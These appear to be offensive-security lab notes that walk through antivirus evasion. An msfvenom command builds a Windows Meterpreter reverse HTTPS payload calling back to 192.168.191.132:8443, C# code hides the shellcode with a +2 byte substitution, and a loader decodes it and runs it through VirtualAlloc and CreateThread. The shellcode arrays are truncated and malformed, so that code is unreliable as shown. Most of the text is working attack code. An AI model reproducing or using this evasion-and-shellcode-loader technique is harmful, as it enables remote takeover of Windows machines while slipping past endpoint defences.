Lab Snippets:

1. Bypassing Antivirus Detection using Caesar Cipher Substitution and Establishing a Reverse Shell Connection

a. Generate the c# format meterpreter payload

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.191.132
LPORT=8443 -f csharp
```

Explanation:

The payload is a Meterpreter reverse HTTPS shell for a Windows x64 system, and it will be output in C# format.

b. Write the C# code with **Caesar Cipher** encryption and get the encrypted payload

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Shellcode_Encryptor
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[719] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,,0x
f0,0xb5,0xa2,0x56,0xff,0xd5 };

            //Algorithm for byte substituion
            byte[] encoded = new byte[buf.Length];

            // Substitute the payload array, The result will be in decimal
            for (int i = 0; i < buf.Length; i++)
             {
                 encoded[i] = (byte)(((uint)buf[i] +2)& 0xFF);
            }

            //To format the output same like msfvenom in hex format
            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2},", b);
            }
           Console.WriteLine("The encrypted payload is :" + hex.ToString());
```

```
        }
    }
}
```

---

c. Grab the encrypted payload
d. Final code to decrypt the above encrypted payload and execute

---

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace avbypass
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType,
    uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
            IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
        static void Main(string[] args)
        {
            byte[] buf = new byte[719] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea,
0xce, 0xd7 };

            //Decrypting Routine
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            }
            //Get the size of the buffer
            int size = buf.Length;

            //Manage Memory
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            //copy the shellcode to the allocated memory
            Marshal.Copy(buf, 0, addr, size);

            //CreateThread
```

```
            IntPtr hthread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero,
0, IntPtr.Zero);

            //Waitforsingleobject to wait for shellcode execution to complete
            WaitForSingleObject(hthread, 0xFFFFFFFF);

        }
    }
}
```
